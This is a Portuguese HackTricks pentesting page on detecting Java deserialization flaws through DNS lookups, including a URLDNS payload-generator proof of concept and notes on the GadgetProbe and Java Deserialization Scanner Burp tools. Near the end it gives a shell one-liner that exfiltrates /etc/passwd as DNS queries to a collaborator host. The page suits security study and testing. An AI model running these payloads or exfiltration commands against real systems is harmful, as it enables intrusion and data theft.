Português - Ht
HackTricks Training Twitter Linkedin Sponsor

Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Solicitação DNS na deserialização

A classe java.net.URL implementa Serializable, o que significa que essa classe pode ser serializada.

public final class URL implements java.io.Serializable {

Esta classe tem um comportamento curioso. De acordo com a documentação: "Dois hosts são considerados equivalentes se ambos os nomes de host puderem ser resolvidos para os mesmos endereços IP". Assim, sempre que um objeto URL chama qualquer das funções equals ou hashCode um pedido DNS para obter o endereço IP será enviado.

Chamar a função hashCode de um objeto URL é bastante simples, basta inserir este objeto dentro de um HashMap que será desserializado. Isso ocorre porque no final da função readObject do HashMap, este código é executado:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

O método putVal será executado com cada valor dentro do HashMap. No entanto, mais relevante é a chamada para hash com cada valor. Este é o código da função hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Como você pode observar, ao desserializar um HashMap, a função hash será executada com cada objeto e durante a execução do hash será executado .hashCode() do objeto. Portanto, se você desserializar um HashMap contendo um objeto URL, o objeto URL irá executar .hashCode().

Agora, vamos dar uma olhada no código de URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Como você pode ver, quando um URLObject executa .hashCode(), é chamado de hashCode(this). A seguir, você pode ver o código desta função:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Pode-se observar que um getHostAddress é executado para o domínio, lançando uma consulta DNS.

Portanto, essa classe pode ser abusada para lançar uma consulta DNS a fim de demonstrar que a desserialização é possível, ou até mesmo para exfiltrar informações (você pode anexar como subdomínio a saída de uma execução de comando).

Exemplo de código de payload URLDNS

Você pode encontrar o código de payload URLDNS do ysoserial aqui. No entanto, apenas para facilitar o entendimento de como codificá-lo, criei meu próprio PoC (baseado no do ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Mais informações

GadgetProbe

Você pode baixar o GadgetProbe da Burp Suite App Store (Extender).

GadgetProbe tentará descobrir se algumas classes Java existem na classe Java do servidor para que você possa saber se ele é vulnerável a algum exploit conhecido.

Como funciona

GadgetProbe usará a mesma carga útil DNS da seção anterior mas antes de executar a consulta DNS, ele tentará desserializar uma classe arbitrária. Se a classe arbitrária existir, a consulta DNS será enviada e o GadgetProbe notará que essa classe existe. Se a solicitação DNS não for enviada, isso significa que a classe arbitrária não foi desserializada com sucesso, então ela não está presente ou não é serializável/exploitável.

Dentro do github, o GadgetProbe tem algumas listas de palavras com classes Java para serem testadas.

Mais informações

Scanner de Desserialização Java

Este scanner pode ser baixado da Burp App Store (Extender). A extensão tem capacidades passivas e ativas.

Passivo

Por padrão, ele verifica passivamente todas as solicitações e respostas enviadas procurando por bytes mágicos serializados Java e apresentará um aviso de vulnerabilidade se encontrar algum:

Ativo

Teste Manual

Você pode selecionar uma solicitação, clicar com o botão direito e Enviar solicitação para DS - Teste Manual. Em seguida, dentro da Guia do Scanner de Desserialização --> Guia de teste manual você pode selecionar o ponto de inserção. E iniciar o teste (Selecione o ataque apropriado dependendo da codificação usada).

Mesmo que seja chamado de "Teste Manual", é bastante automatizado. Ele verificará automaticamente se a desserialização é vulnerável a qualquer carga útil ysoserial verificando as bibliotecas presentes no servidor web e destacará as vulneráveis. Para verificar as bibliotecas vulneráveis você pode optar por lançar Javas Sleeps, sleeps via consumo de CPU, ou usando DNS como mencionado anteriormente.

Explorando

Depois de identificar uma biblioteca vulnerável, você pode enviar a solicitação para a Guia de Exploração. Nesta guia, você deve selecionar o ponto de injeção novamente, escrever a biblioteca vulnerável para a qual deseja criar uma carga útil e o comando. Em seguida, basta pressionar o botão de Ataque apropriado.

Informações de Exfiltração DNS de Desserialização Java

Faça sua carga útil executar algo como o seguinte:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Mais Informações

Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

PreviousJava JSF ViewState (.faces) DeserializationNextBasic Java Deserialization (ObjectInputStream, readObject)

Last updated